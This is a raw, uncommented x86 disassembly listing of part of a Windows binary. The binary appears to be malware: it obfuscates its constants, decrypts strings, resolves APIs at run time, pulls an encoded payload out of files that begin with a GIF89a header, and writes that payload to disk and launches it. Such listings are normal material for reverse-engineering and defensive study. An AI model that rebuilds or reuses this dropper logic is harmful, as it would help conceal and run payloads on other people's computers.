and eax, 0FFh
push eax
call sub_41D699
mov ebx, eax
mov [ebp+var_15], bl
mov eax, esi
mul [ebp+var_10]
mov [ebp+var_24], eax
and eax, 0FFh
push eax
call sub_419767
mov ebx, eax
mov [ebp+var_16], bl
mov eax, ds:1001314Ch
add eax, 40h
movsx edx, word ptr ds:10013100h
add eax, edx
mov edx, esi
imul edx, eax
mov eax, edx
and eax, 0FFh
push eax
call sub_41D699
mov ebx, eax
mov [ebp+var_17], bl
movsx eax, word ptr ds:10013240h
add eax, 41h
mov edx, esi
imul edx, eax
mov eax, edx
and eax, 0FFh
push eax
call sub_419767
add esp, 24h
mov ebx, eax
mov [ebp+var_18], bl
movzx edi, [ebp+var_1]
mov eax, edi
shr eax, 1
mov esi, ds:1001319Ch
add esi, ds:1001312Ch
sub esi, 0Ch
mul esi
mov [ebp+var_28], eax
mov esi, eax
cmp esi, edi
jnz short loc_41B1E4
push 10014356h
call sub_41C914
movzx edi, [ebp+var_18]
push edi
movzx edi, [ebp+var_17]
push edi
movzx edi, [ebp+var_16]
push edi
movzx edi, [ebp+var_15]
push edi
movzx edi, [ebp+var_14]
push edi
movzx edi, [ebp+var_13]
push edi
movzx edi, [ebp+var_12]
push edi
movzx edi, [ebp+var_11]
push edi
movzx edi, [ebp+var_1]
push edi
push eax
push [ebp+arg_0]
call dword ptr ds:10012634h
add esp, 30h
jmp short loc_41B228
; ---------------------------------------------------------------------------
loc_41B1E4: ; CODE XREF: sub_41AFF0+1ACj
push 1001433Bh
call sub_41C914
movzx edi, [ebp+var_18]
push edi
movzx edi, [ebp+var_17]
push edi
movzx edi, [ebp+var_16]
push edi
movzx edi, [ebp+var_15]
push edi
movzx edi, [ebp+var_14]
push edi
movzx edi, [ebp+var_13]
push edi
movzx edi, [ebp+var_12]
push edi
movzx edi, [ebp+var_11]
push edi
movzx edi, [ebp+var_1]
push edi
push eax
push [ebp+arg_0]
call dword ptr ds:10012634h
add esp, 30h
loc_41B228: ; CODE XREF: sub_41AFF0+1F2j
pop edi
pop esi
pop ebx
leave
retn
sub_41AFF0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B22D proc near ; CODE XREF: .data:0041F921p
var_7 = byte ptr -7
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
push eax
push ebx
push esi
push edi
mov ebx, [ebp+arg_4]
mov esi, [ebp+arg_8]
mov eax, ebx
add eax, 2
mov ecx, 3
mov edx, 0AAAAAAABh
mul edx
shr edx, 1
mov [ebp+var_4], edx
mov edi, edx
shl edi, 2
mov edx, [ebp+arg_C]
dec edx
cmp edi, edx
jbe short loc_41B2A0
xor eax, eax
jmp loc_41B34F
; ---------------------------------------------------------------------------
loc_41B265: ; CODE XREF: sub_41B22D+83j
push esi
push [ebp+arg_0]
call sub_41FD3F
add esp, 8
mov eax, ds:10013268h
dec eax
sub ebx, eax
mov eax, ds:10013274h
add eax, ds:10013278h
add eax, [ebp+arg_0]
mov [ebp+arg_0], eax
movsx eax, word ptr ds:10013208h
movsx edx, word ptr ds:10013144h
add eax, edx
sub eax, 7
lea esi, [esi+eax]
loc_41B2A0: ; CODE XREF: sub_41B22D+2Fj
mov eax, ds:1001312Ch
add eax, ds:100131A8h
sub eax, 7
cmp ebx, eax
jnb short loc_41B265
movsx eax, word ptr ds:100130E8h
dec eax
cmp ebx, eax
jbe short loc_41B32F
push 3
movsx eax, word ptr ds:10013100h
movsx edx, word ptr ds:10013218h
add eax, edx
sub eax, 8
push eax
lea eax, [ebp+var_7]
push eax
call dword ptr ds:10011644h
push ebx
push [ebp+arg_0]
lea eax, [ebp+var_7]
push eax
call dword ptr ds:10011638h
push esi
lea eax, [ebp+var_7]
push eax
call sub_41FD3F
add esp, 20h
mov eax, ds:1001317Ch
movsx edx, word ptr ds:1001327Ch
add eax, edx
sub eax, 6
mov byte ptr [esi+eax], 3Dh
mov eax, ds:1001312Ch
sub eax, 7
cmp ebx, eax
jnz short loc_41B324
mov eax, ds:10013274h
inc eax
mov byte ptr [esi+eax], 3Dh
loc_41B324: ; CODE XREF: sub_41B22D+EBj
mov eax, ds:1001312Ch
sub eax, 4
lea esi, [esi+eax]
loc_41B32F: ; CODE XREF: sub_41B22D+8Fj
mov eax, ds:10013238h
movsx edx, word ptr ds:100130A4h
add eax, edx
sub eax, 6
mov edx, ds:10013244h
sub edx, 4
mov [esi+eax], dl
xor eax, eax
inc eax
loc_41B34F: ; CODE XREF: sub_41B22D+33j
pop edi
pop esi
pop ebx
leave
retn
sub_41B22D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B354 proc near ; CODE XREF: sub_41BE82+22Ep
; sub_41BE82+240p
var_61DA0 = dword ptr -61DA0h
var_61D9C = dword ptr -61D9Ch
var_61D98 = byte ptr -61D98h
var_61C99 = byte ptr -61C99h
var_61C98 = dword ptr -61C98h
var_61C91 = byte ptr -61C91h
var_30F51 = byte ptr -30F51h
var_30F50 = dword ptr -30F50h
var_30F4B = byte ptr -30F4Bh
var_30E4C = dword ptr -30E4Ch
var_30E48 = dword ptr -30E48h
var_30E44 = dword ptr -30E44h
var_30E3F = byte ptr -30E3Fh
var_30E3E = byte ptr -30E3Eh
var_30E3D = byte ptr -30E3Dh
var_30E3C = byte ptr -30E3Ch
var_30E3B = byte ptr -30E3Bh
var_30E3A = byte ptr -30E3Ah
var_30E15 = byte ptr -30E15h
var_30E14 = byte ptr -30E14h
var_30DC4 = byte ptr -30DC4h
var_30DBE = byte ptr -30DBEh
var_30DBD = byte ptr -30DBDh
var_30DBC = byte ptr -30DBCh
var_30D4E = byte ptr -30D4Eh
var_30D46 = byte ptr -30D46h
var_30D43 = byte ptr -30D43h
var_30D40 = byte ptr -30D40h
var_30D3F = byte ptr -30D3Fh
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, 61DA0h
call sub_423379
push ebx
push esi
push edi
mov ebx, [ebp+arg_4]
and [ebp+var_30F50], 0
push 0
mov eax, ds:10013244h
movsx edx, word ptr ds:100130FCh
add eax, edx
sub eax, 0Ah
push eax
push 3
push 0
mov eax, ds:10013094h
sub eax, 6
push eax
push 80000000h
push [ebp+arg_0]
call dword ptr ds:10012788h
mov [ebp+var_30E48], eax
cmp eax, 0FFFFFFFFh
jz loc_41B7D4
push 0
lea eax, [ebp+var_30E4C]
push eax
mov eax, ds:10013108h
add eax, 7Eh
add eax, ds:100130C8h
push eax
lea eax, [ebp+var_30E3F]
push eax
push [ebp+var_30E48]
call dword ptr ds:1000D028h
mov [ebp+var_30E44], eax
movsx eax, word ptr ds:1001316Ch
dec eax
cmp [ebp+var_30E44], eax
jz loc_41B7B6
cmp [ebp+var_30E3F], 47h
jnz short loc_41B427
cmp [ebp+var_30E3E], 49h
jnz short loc_41B427
cmp [ebp+var_30E3D], 46h
jnz short loc_41B427
cmp [ebp+var_30E3C], 38h
jnz short loc_41B427
cmp [ebp+var_30E3B], 39h
jnz short loc_41B427
cmp [ebp+var_30E3A], 61h
jz short loc_41B42C
loc_41B427: ; CODE XREF: sub_41B354+A4j
; sub_41B354+ADj ...
jmp loc_41B7B6
; ---------------------------------------------------------------------------
loc_41B42C: ; CODE XREF: sub_41B354+D1j
movzx eax, [ebp+var_30E15]
movsx edx, word ptr ds:100131DCh
mov ecx, ds:10013164h
lea edx, [edx+ecx+36h]
cmp eax, edx
jnz short loc_41B45A
cmp [ebp+var_30DBE], 3Dh
jnz short loc_41B45A
cmp [ebp+var_30DBD], 3Dh
jz short loc_41B45F
loc_41B45A: ; CODE XREF: sub_41B354+F2j
; sub_41B354+FBj
jmp loc_41B7B6
; ---------------------------------------------------------------------------
loc_41B45F: ; CODE XREF: sub_41B354+104j
or ebx, ebx
jnz short loc_41B48E
mov al, [ebp+var_30DBC]
mov [ebp+var_30F51], al
call sub_4211B3
mov edx, eax
mov [ebp+var_61C99], dl
mov al, [ebp+var_61C99]
cmp al, [ebp+var_30F51]
jz loc_41B7B6
loc_41B48E: ; CODE XREF: sub_41B354+10Dj
push 0
lea eax, [ebp+var_30E4C]
push eax
push 30D40h
lea eax, [ebp+var_61C91]
push eax
push [ebp+var_30E48]
call dword ptr ds:1000D028h
mov [ebp+var_30E44], eax
mov eax, ds:10013094h
sub eax, 6
cmp [ebp+var_30E44], eax
jz loc_41B7B6
mov eax, [ebp+var_30E4C]
mov edx, ds:10013110h
add edx, ds:10013268h
sub edx, 9
mov [ebp+eax+var_61C91], dl
push 30D40h
lea eax, [ebp+var_30D40]
push eax
lea eax, [ebp+var_61C91]
push eax
call sub_418755
add esp, 0Ch
mov esi, eax
mov eax, ds:10013184h
mov edi, eax
add edi, ds:10013210h
sub edi, 3
jmp short loc_41B559
; ---------------------------------------------------------------------------
loc_41B514: ; CODE XREF: sub_41B354+207j
or ebx, ebx
jz short loc_41B52B
movzx eax, [ebp+edi+var_30D40]
sub eax, edi
mov [ebp+edi+var_30D40], al
jmp short loc_41B558
; ---------------------------------------------------------------------------
loc_41B52B: ; CODE XREF: sub_41B354+1C2j
movzx eax, [ebp+edi+var_30D40]
mov [ebp+var_61D9C], eax
mov eax, edi
mul edi
mov [ebp+var_61DA0], eax
mov eax, [ebp+var_61D9C]
mov edx, [ebp+var_61DA0]
sub eax, edx
mov [ebp+edi+var_30D40], al
loc_41B558: ; CODE XREF: sub_41B354+1D5j
inc edi
loc_41B559: ; CODE XREF: sub_41B354+1BEj
cmp edi, esi
jb short loc_41B514
or ebx, ebx
jz short loc_41B57A
mov eax, ds:10013254h
sub eax, 8
mov edx, esi
sub edx, eax
mov eax, ds:10013274h
dec eax
mov [ebp+edx+var_30D40], al
loc_41B57A: ; CODE XREF: sub_41B354+20Bj
movsx eax, word ptr ds:10013104h
mov edx, ds:100130A0h
movsx ecx, word ptr ds:100130E8h
add edx, ecx
sub edx, 5
mov [ebp+eax+var_30DC4], dl
push 0FFh
lea eax, [ebp+var_61D98]
push eax
lea eax, [ebp+var_30E14]
push eax
call sub_418755
lea eax, [ebp+var_61D98]
push eax
push esi
lea eax, [ebp+var_30D40]
push eax
call sub_41C6CD
add esp, 18h
mov [ebp+var_30E44], eax
mov eax, ds:1001309Ch
sub eax, 5
cmp [ebp+var_30E44], eax
jnz loc_41B7B6
mov [ebp+var_30F50], 1
or ebx, ebx
jz loc_41B713
mov eax, ds:1001325Ch
add eax, ds:1001319Ch
cmp [ebp+eax+var_30D4E], 64h
jnz short loc_41B683
movzx eax, [ebp+var_30D3F]
movsx edx, word ptr ds:100131FCh
add edx, 1Bh
sub eax, edx
mov byte ptr [ebp+var_61D9C+3], al
movzx eax, byte ptr [ebp+var_61D9C+3]
push eax
push 0
call sub_42091E
mov eax, ds:1001325Ch
sub eax, 8
mov ds:1000F620h, eax
mov eax, ds:100130ACh
dec eax
mov ds:10013350h, eax
mov eax, ds:10013148h
movsx edx, word ptr ds:100130C0h
sub edx, 2
mov [ebp+eax+var_30D40], dl
movsx eax, word ptr ds:1001316Ch
movsx edx, word ptr ds:100130D0h
add eax, edx
sub eax, 7
push eax
lea eax, [ebp+var_30D40]
push eax
call sub_41DCEB
add esp, 10h
loc_41B683: ; CODE XREF: sub_41B354+2B4j
mov eax, ds:100130A8h
cmp [ebp+eax+var_30D46], 67h
jnz loc_41B7B6
movsx eax, word ptr ds:10013144h
movsx edx, word ptr ds:100130D0h
add eax, edx
mov edx, ds:10013128h
sub edx, 9
mov [ebp+eax+var_30D43], dl
lea eax, [ebp+var_30D3F]
push eax
call dword ptr ds:1000D054h
mov [ebp+var_61D9C], eax
push eax
push 10012670h
call sub_41AFF0
mov eax, ds:100130F0h
dec eax
mov ds:1000F620h, eax
movsx eax, word ptr ds:100130FCh
sub eax, 6
mov ds:10013350h, eax
movsx eax, word ptr ds:10013144h
add eax, ds:10013204h
sub eax, 6
push eax
lea eax, [ebp+var_30D40]
push eax
call sub_41DCEB
add esp, 14h
jmp loc_41B7B6
; ---------------------------------------------------------------------------
loc_41B713: ; CODE XREF: sub_41B354+29Bj
movsx eax, word ptr ds:10013098h
add eax, 5
push eax
lea eax, [ebp+var_30F4B]
push eax
call sub_41F760
push 10014333h
call sub_41C914
push eax
lea edx, [ebp+var_30F4B]
push edx
call dword ptr ds:1000D020h
push 0
push 80h
push 2
push 0
mov eax, ds:10013090h
sub eax, 3
push eax
push 40000000h
lea eax, [ebp+var_30F4B]
push eax
call dword ptr ds:10012788h
mov [ebp+var_61C98], eax
push 0
lea eax, [ebp+var_30E4C]
push eax
push esi
lea eax, [ebp+var_30D40]
push eax
push [ebp+var_61C98]
call dword ptr ds:10012B8Ch
push [ebp+var_61C98]
call dword ptr ds:10011654h
push 5
lea eax, [ebp+var_30F4B]
push eax
call dword ptr ds:1000F0E0h
movzx eax, [ebp+var_30F51]
push eax
call sub_41BD8F
add esp, 18h
loc_41B7B6: ; CODE XREF: sub_41B354+97j
; sub_41B354:loc_41B427j ...
push [ebp+var_30E48]
call dword ptr ds:10011654h
cmp [ebp+var_30F50], 0
jz short loc_41B7D4
push [ebp+arg_0]
call dword ptr ds:1000D008h
loc_41B7D4: ; CODE XREF: sub_41B354+52j
; sub_41B354+475j
pop edi
pop esi
pop ebx
leave
retn
sub_41B354 endp
; =============== S U B R O U T I N E =======================================
sub_41B7D9 proc near ; CODE XREF: .data:0041F02Dp
push edi
push 10014326h
call sub_41C914
pop ecx
push eax
call dword ptr ds:1000F5E8h
mov ds:100132A4h, eax
test eax, eax
jnz short loc_41B80C
push 10014319h
call sub_41C914
pop ecx
push eax
call dword ptr ds:10010244h
mov ds:100132A4h, eax
loc_41B80C: ; CODE XREF: sub_41B7D9+1Aj
push 10014306h
call sub_41C914
push eax
push dword ptr ds:100132A4h
call dword ptr ds:1000F1F8h
mov ds:10012BB4h, eax
push 100142F2h
call sub_41C914
push eax
push dword ptr ds:100132A4h
call dword ptr ds:1000F1F8h
mov ds:1000F624h, eax
push 100142E2h
call sub_41C914
push eax
push dword ptr ds:100132A4h
call dword ptr ds:1000F1F8h
mov ds:1000F0D0h, eax
push 100142D0h
call sub_41C914
push eax
push dword ptr ds:100132A4h
call dword ptr ds:1000F1F8h
mov ds:1000F0D8h, eax
push 100142C1h
call sub_41C914
add esp, 14h
push eax
push dword ptr ds:100132A4h
call dword ptr ds:1000F1F8h
mov ds:10012648h, eax
pop edi
retn
sub_41B7D9 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
pusha
mov esi, [ebp+10h]
mov eax, 10004A5Ch
mov [esi+0B8h], eax
mov eax, [ebp+0Ch]
mov [esi+0C4h], eax
popa
mov esp, ebp
pop ebp
xor eax, eax
retn
; ---------------------------------------------------------------------------
db 0C3h
; =============== S U B R O U T I N E =======================================
sub_41B8C0 proc near ; CODE XREF: .data:0041F028p
push edi
push 100142B4h
call sub_41C914
pop ecx
push eax
call dword ptr ds:1000F5E8h
mov ds:100132A0h, eax
test eax, eax
jnz short loc_41B8F3
push 100142A7h
call sub_41C914
pop ecx
push eax
call dword ptr ds:10010244h
mov ds:100132A0h, eax
loc_41B8F3: ; CODE XREF: sub_41B8C0+1Aj
push 10014298h
call sub_41C914
push eax
push dword ptr ds:100132A0h
call dword ptr ds:1000F1F8h
mov ds:10010250h, eax
push 10014286h
call sub_41C914
add esp, 8
push eax
push dword ptr ds:100132A0h
call dword ptr ds:1000F1F8h
mov ds:1000E120h, eax
pop edi
retn
sub_41B8C0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B930 proc near ; CODE XREF: sub_420477+142p
var_FFF = byte ptr -0FFFh
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 1000h
call sub_423379
push ebx
push esi
push edi
mov eax, ds:100131F4h
sub eax, 4
push eax
lea eax, [ebp+var_FFF]
push eax
call sub_42091E
add esp, 8
movsx edi, word ptr ds:10013100h
sub edi, 3
jmp short loc_41B97E
; ---------------------------------------------------------------------------
loc_41B964: ; CODE XREF: sub_41B930+54j
cmp [ebp+edi+var_FFF], 23h
jnz short loc_41B97D
mov eax, ds:10013288h
sub eax, 6
mov [ebp+edi+var_FFF], al
loc_41B97D: ; CODE XREF: sub_41B930+3Cj
inc edi
loc_41B97E: ; CODE XREF: sub_41B930+32j
cmp edi, 0FFFh
jb short loc_41B964
lea esi, [ebp+var_FFF]
loc_41B98C: ; CODE XREF: sub_41B930+ECj
push 10014282h
call sub_41C914
push 1000E020h
mov ebx, ds:10013134h
movsx edx, word ptr ds:100130B0h
add ebx, edx
sub ebx, 0Fh
push ebx
mov ebx, ds:1001320Ch
movsx edx, word ptr ds:10013250h
add ebx, edx
sub ebx, 7
push ebx
push eax
mov ebx, ds:10013224h
sub ebx, 5
push ebx
push 0
push esi
push [ebp+arg_0]
mov ebx, ds:100131D4h
add ebx, ds:100131C4h
sub ebx, 5
and ebx, 0FFh
push ebx
call sub_41D465
add esp, 28h
mov ecx, esi
or eax, 0FFFFFFFFh
loc_41B9F5: ; CODE XREF: sub_41B930+CAj
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_41B9F5
movsx edx, word ptr ds:100131E0h
sub edx, 2
mov ebx, eax
add ebx, esi
mov esi, edx
add esi, ebx
movsx eax, byte ptr [esi]
mov edx, ds:1001325Ch
sub edx, 8
cmp eax, edx
jnz loc_41B98C
pop edi
pop esi
pop ebx
leave
retn
sub_41B930 endp
; ---------------------------------------------------------------------------
db 0B8h
dd 80004001h
db 0C2h, 10h, 0
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41BA2F proc near ; CODE XREF: sub_420477+1A1p
; sub_420477+1C2p
var_4F = byte ptr -4Fh
var_1D = byte ptr -1Dh
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_1 = byte ptr -1
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 50h
push ebx
push esi
push edi
mov ebx, [ebp+arg_0]
call dword ptr ds:10012770h
mov [ebp+var_8], eax
mov esi, ds:10013140h
sub esi, 9
jmp short loc_41BA96
; ---------------------------------------------------------------------------
loc_41BA4F: ; CODE XREF: sub_41BA2F+79j
cmp dword ptr ds:1000E130h[esi*4], 0
jz short loc_41BA95
mov edx, ds:10011660h[esi*4]
mov ecx, ds:100130C8h
add ecx, 0EA5Fh
movsx eax, word ptr ds:100130E8h
add ecx, eax
mov eax, ds:100130A8h
add eax, ds:100131E8h
sub eax, 2
imul ecx, eax
add edx, ecx
cmp edx, [ebp+var_8]
jnb short loc_41BA95
and dword ptr ds:1000E130h[esi*4], 0
loc_41BA95: ; CODE XREF: sub_41BA2F+28j
; sub_41BA2F+5Cj
inc esi
loc_41BA96: ; CODE XREF: sub_41BA2F+1Ej
mov eax, ds:100130F0h
add eax, 3E4h
add eax, ds:1001313Ch
cmp esi, eax
jb short loc_41BA4F
loc_41BAAA: ; CODE XREF: sub_41BA2F+99j
; sub_41BA2F+281j
mov eax, [ebx]
mov [ebp+var_14], eax
lea ebx, [ebx+eax]
mov eax, ebx
sub eax, [ebp+arg_0]
cmp eax, [ebp+arg_4]
jnb loc_41BCB6
mov eax, ds:10013244h
cmp [ebp+var_14], eax
ja short loc_41BAAA
mov ecx, ebx
or eax, 0FFFFFFFFh
loc_41BACF: ; CODE XREF: sub_41BA2F+A5j
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_41BACF
mov [ebp+var_10], eax
mov eax, ebx
sub eax, [ebp+arg_0]
movsx edx, word ptr ds:10013264h
add edx, ds:10013204h
sub edx, 6
sub eax, edx
mov [ebp+var_C], eax
mov [ebp+var_1], 44h
mov eax, ds:10013204h
sub eax, 1
cmp byte ptr [ebx+eax], 2Ah
jnz short loc_41BB09
mov [ebp+var_1], 43h
loc_41BB09: ; CODE XREF: sub_41BA2F+D4j
mov edi, ds:100130ECh
sub edi, 4
jmp short loc_41BB3B
; ---------------------------------------------------------------------------
loc_41BB14: ; CODE XREF: sub_41BA2F+121j
cmp dword ptr ds:1000E130h[edi*4], 0
jz short loc_41BB3A
mov edx, [ebp+var_C]
cmp ds:1000D060h[edi*4], edx
jnz short loc_41BB3A
mov dl, ds:1000F200h[edi]
cmp dl, [ebp+var_1]
jz loc_41BC95
loc_41BB3A: ; CODE XREF: sub_41BA2F+EDj
; sub_41BA2F+F9j
inc edi
loc_41BB3B: ; CODE XREF: sub_41BA2F+E3j
mov eax, ds:10013194h
add eax, 3D9h
movsx edx, word ptr ds:100130FCh
add eax, edx
cmp edi, eax
jb short loc_41BB14
mov eax, ds:10013168h
add eax, 3BEh
movsx edx, word ptr ds:10013260h
add eax, edx
cmp [ebp+var_10], eax
jbe loc_41BC3E
mov eax, ds:100130F8h
add eax, 7
movsx edx, word ptr ds:1001316Ch
add eax, edx
push eax
lea eax, [ebp+var_4F]
push eax
call sub_41F760
add esp, 8
mov eax, ds:100130ACh
add eax, 3BFh
mov [ebp+var_18], eax
movsx eax, word ptr ds:100130FCh
add eax, ds:100131F8h
sub eax, 9
mov [ebp+var_1C], eax
loc_41BBAC: ; CODE XREF: sub_41BA2F+20Aj
mov eax, [ebp+var_18]
mov al, [ebx+eax]
mov [ebp+var_1D], al
mov eax, [ebp+var_18]
mov edx, ds:10013114h
movsx ecx, word ptr ds:100131B4h
add edx, ecx
sub edx, 0Ch
mov [ebx+eax], dl
push 1000E020h
push [ebp+var_10]
push [ebp+var_1C]
lea eax, [ebp+var_4F]
push eax
mov eax, [ebp+arg_C]
push dword ptr [eax]
push [ebp+arg_0]
push ebx
push [ebp+arg_8]
mov eax, ds:100131ECh
add eax, ds:100130A0h
sub eax, 0Ch
and eax, 0FFh
push eax
call sub_41D465
add esp, 24h
mov eax, [ebp+var_18]
mov dl, [ebp+var_1D]
mov [ebx+eax], dl
mov [ebp+var_1C], eax
mov eax, ds:100131B0h
add eax, 3B6h
movsx edx, word ptr ds:10013118h
add eax, edx
add [ebp+var_18], eax
mov eax, [ebp+var_10]
cmp [ebp+var_18], eax
jbe short loc_41BC31
mov [ebp+var_18], eax
loc_41BC31: ; CODE XREF: sub_41BA2F+1FDj
mov eax, [ebp+var_10]
cmp [ebp+var_1C], eax
jnb short loc_41BC90
jmp loc_41BBAC
; ---------------------------------------------------------------------------
loc_41BC3E: ; CODE XREF: sub_41BA2F+139j
push 1001427Dh
call sub_41C914
push 1000E020h
push [ebp+var_10]
movsx edx, word ptr ds:10013100h
add edx, ds:100131F8h
sub edx, 6
push edx
push eax
mov edx, [ebp+arg_C]
push dword ptr [edx]
push [ebp+arg_0]
push ebx
push [ebp+arg_8]
movsx edx, word ptr ds:100130FCh
movsx ecx, word ptr ds:100130D0h
add edx, ecx
sub edx, 0Dh
and edx, 0FFh
push edx
call sub_41D465
add esp, 28h
loc_41BC90: ; CODE XREF: sub_41BA2F+208j
mov eax, [ebp+arg_C]
inc dword ptr [eax]
loc_41BC95: ; CODE XREF: sub_41BA2F+105j
mov eax, [ebp+var_10]
lea ebx, [ebx+eax]
inc ebx
mov eax, [ebp+arg_C]
mov edx, ds:100131F8h
add edx, 0Bh
add edx, ds:10013094h
cmp [eax], edx
jbe loc_41BAAA
loc_41BCB6: ; CODE XREF: sub_41BA2F+8Bj
push 10014279h
call sub_41C914
push 1000E020h
movsx edx, word ptr ds:100131F0h
movsx ecx, word ptr ds:1001327Ch
add edx, ecx
sub edx, 7
push edx
movsx edx, word ptr ds:10013170h
sub edx, 2
push edx
push eax
mov edx, ds:10013140h
add edx, ds:10013244h
sub edx, 0Dh
push edx
push 0
push 0
push [ebp+arg_8]
mov edx, ds:100131ACh
add edx, ds:10013210h
sub edx, 5
and edx, 0FFh
push edx
call sub_41D465
add esp, 28h
pop edi
pop esi
pop ebx
leave
retn
sub_41BA2F endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
mov eax, 2000h
call sub_423379
push esi
push edi
push 1FFFh
lea eax, [ebp-1FFFh]
push eax
push dword ptr [ebp+8]
call dword ptr ds:10012BA4h
push 10014264h
call sub_41C914
mov edi, ds:10013224h
add edi, ds:10013134h
sub edi, 0Ch
push edi
push eax
lea edi, [ebp-1FFFh]
push edi
call sub_4188C2
add esp, 10h
mov esi, ds:10013198h
add esi, 0FFFDh
cmp eax, esi
jz short loc_41BD86
push dword ptr [ebp+8]
call sub_4197BE
pop ecx
loc_41BD86: ; CODE XREF: .data:0041BD7Bj
xor eax, eax
inc eax
pop edi
pop esi
leave
retn 8
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41BD8F proc near ; CODE XREF: sub_41B354+45Ap
var_270 = byte ptr -270h
var_26C = byte ptr -26Ch
var_267 = byte ptr -267h
var_168 = byte ptr -168h
var_104 = byte ptr -104h
arg_0 = byte ptr 8
push ebp
mov ebp, esp
sub esp, 26Ch
push esi
push edi
push 104h
lea eax, [ebp+var_104]
push eax
call dword ptr ds:1000F600h
lea eax, [ebp+var_168]
push eax
call sub_41FC67
push 1001425Fh
call sub_41C914
push eax
lea esi, [ebp+var_104]
push esi
call dword ptr ds:1000D020h
lea eax, [ebp+var_168]
push eax
lea eax, [ebp+var_104]
push eax
call dword ptr ds:1000D020h
push 10014257h
call sub_41C914
push eax
lea esi, [ebp+var_104]
push esi
call dword ptr ds:1000D020h
add esp, 24h
movsx eax, word ptr ds:10013124h
add eax, ds:100131A0h
mov dl, [ebp+arg_0]
mov [ebp+eax+var_270], dl
push 0
push 80h
push 4
push 0
movsx eax, word ptr ds:10013170h
sub eax, 2
push eax
push 40000000h
lea eax, [ebp+var_104]
push eax
call dword ptr ds:10012788h
mov edi, eax
push 0
lea eax, [ebp+var_26C]
push eax
mov eax, ds:10013248h
inc eax
push eax
lea eax, [ebp+var_267]
push eax
push edi
call dword ptr ds:10012B8Ch
push edi
call dword ptr ds:10011654h
pop edi
pop esi
leave
retn
sub_41BD8F endp
; ---------------------------------------------------------------------------
db 0A1h, 0E4h, 31h
dd 0BF0F1001h, 131E015h, 83D00110h, 0FF5006E8h, 1266415h
db 10h, 0C3h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41BE82 proc near ; CODE XREF: sub_41BE82+299p
; sub_41BE82+307p ...
var_268 = byte ptr -268h
var_260 = dword ptr -260h
var_25C = dword ptr -25Ch
var_258 = word ptr -258h
var_256 = word ptr -256h
var_252 = word ptr -252h
var_250 = word ptr -250h
var_24E = word ptr -24Eh
var_248 = dword ptr -248h
var_242 = byte ptr -242h
var_13E = byte ptr -13Eh
var_112 = byte ptr -112h
arg_0 = dword ptr 8
arg_8 = byte ptr 10h
arg_18 = byte ptr 20h
arg_20 = dword ptr 28h
arg_24 = dword ptr 2Ch
push ebp
mov ebp, esp
sub esp, 268h
push ebx
push esi
push edi
push 0
call dword ptr ds:10012630h
xor ebx, ebx
inc ebx
push 1001424Fh
call sub_41C914
push [ebp+arg_0]
push eax
lea edi, [ebp+var_242]
push edi
call dword ptr ds:10012634h
add esp, 14h
lea eax, [ebp+var_13E]
push eax
lea eax, [ebp+var_242]
push eax
call dword ptr ds:10010258h
mov [ebp+var_248], eax
mov eax, ds:10013128h
movsx edx, word ptr ds:10013180h
add eax, edx
sub eax, 0Ch
neg eax
cmp [ebp+var_248], eax
jnz loc_41C0CF
movsx eax, word ptr ds:100131B4h
sub eax, 4
cmp [ebp+arg_20], eax
ja loc_41C198
movsx eax, word ptr ds:10013170h
mov edx, ds:10013268h
lea eax, [eax+edx+3FAh]
cmp [ebp+arg_24], eax
jnb short loc_41BF38
mov eax, ds:100131B0h
add eax, 95h
movsx edx, word ptr ds:10013150h
add eax, edx
cmp [ebp+arg_24], eax
jnz loc_41C198
loc_41BF38: ; CODE XREF: sub_41BE82+98j
movsx eax, word ptr ds:100131C0h
add eax, 30D3Ch
cmp [ebp+arg_24], eax
ja loc_41C198
lea eax, [ebp+arg_18]
push eax
lea eax, [ebp+arg_8]
push eax
call dword ptr ds:10012780h
mov [ebp+var_260], eax
mov eax, ds:1001323Ch
add eax, ds:100131BCh
sub eax, 0Eh
cmp [ebp+var_260], eax
jge short loc_41BF84
lea edi, [ebp+var_268]
lea esi, [ebp+arg_18]
movsd
movsd
jmp short loc_41BF8F
; ---------------------------------------------------------------------------
loc_41BF84: ; CODE XREF: sub_41BE82+F3j
lea edi, [ebp+var_268]
lea esi, [ebp+arg_8]
movsd
movsd
loc_41BF8F: ; CODE XREF: sub_41BE82+100j
lea eax, [ebp+var_258]
push eax
lea eax, [ebp+var_268]
push eax
call dword ptr ds:10012778h
movzx eax, [ebp+var_24E]
movzx edx, [ebp+var_250]
movsx ecx, word ptr ds:10013174h
add ecx, 35h
imul edx, ecx
add eax, edx
movzx edx, [ebp+var_252]
movsx ecx, word ptr ds:100131A4h
movsx esi, word ptr ds:10013124h
lea ecx, [ecx+esi+0Bh]
imul edx, ecx
mov ecx, ds:10013154h
add ecx, 35h
imul edx, ecx
add eax, edx
movzx edx, [ebp+var_256]
mov ecx, ds:10013268h
add ecx, 1Ah
imul edx, ecx
mov ecx, ds:10013140h
add ecx, 6
add ecx, ds:1001326Ch
imul edx, ecx
movsx ecx, word ptr ds:100130D8h
mov esi, ds:10013168h
lea ecx, [ecx+esi+3Ah]
imul edx, ecx
add eax, edx
movzx edx, [ebp+var_258]
mov ecx, ds:10013270h
add ecx, 8
imul edx, ecx
movsx ecx, word ptr ds:10013150h
add ecx, 16h
imul edx, ecx
mov ecx, ds:100130C8h
add ecx, 0Fh
add ecx, ds:10013194h
imul edx, ecx
